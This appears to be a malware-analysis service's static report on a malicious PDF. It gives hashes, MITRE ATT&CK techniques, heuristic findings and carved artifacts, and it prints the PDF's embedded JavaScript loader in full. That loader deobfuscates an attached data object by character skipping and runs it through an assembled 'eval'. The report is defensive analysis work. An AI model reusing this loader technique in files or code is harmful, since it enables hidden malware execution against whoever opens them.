Malicious PDF — malware analysis report

Static analysis result for SHA-256 bca637423cf68115…

MALICIOUS

PDF

5.9 KB First seen: 2026-05-09
MD5: e524cb4d1242846e4b85c6fecae1c27e SHA-1: f62c6f82c378109ecfb69ae60bc722822649a47c SHA-256: bca637423cf68115d185677fe8b59f9f399d94ca493968d8dc769292ab29c66b
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1553.005 Mark-of-the-Web Bypass T1204.002 Malicious File

The PDF contains embedded JavaScript and an embedded file, both flagged as suspicious. The ML classifier output of 0.999949 strongly indicates malicious intent. The embedded JavaScript likely executes malicious code, and the embedded file is a potential secondary payload. The presence of these elements points to a common PDF-based malware delivery technique.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0012.bin pdf-embedded-file PDF EmbeddedFile object 12 at offset 0x428 150300 bytes
SHA-256: 26af1ecde81c8b63ecd038cd410d030db56097ff93d1ebe609567d810d240cbf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
327 of 327 identifiers look randomly generated (e.g. 'VsBPzSFWbHjrLVbDH1VsBPzSFWbHjrLVbDH2VsBP') — consistent with name-mangling obfuscation. Carved artifact contains 145 long base64-like blob(s).
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x1CC 254 bytes
SHA-256: 1bc4bf38a788adcc495fb84f1f085cb4c62f9f214ddac09c9e3dd447973e35e6
Preview script
First 1,000 lines of the extracted script
ra=this.getDataObjectContents("xampp");rb=util.stringFromStream(ra, "utf-8");rc="";for (i=0;i<rb.length;i +=18){   rc +=rb.charAt(i);}rd="<test><one>ev</one><two>al</two></test>";re=XMLData.parse(rd);        rf=re.one.value+re.two.value;this[rf](rc);

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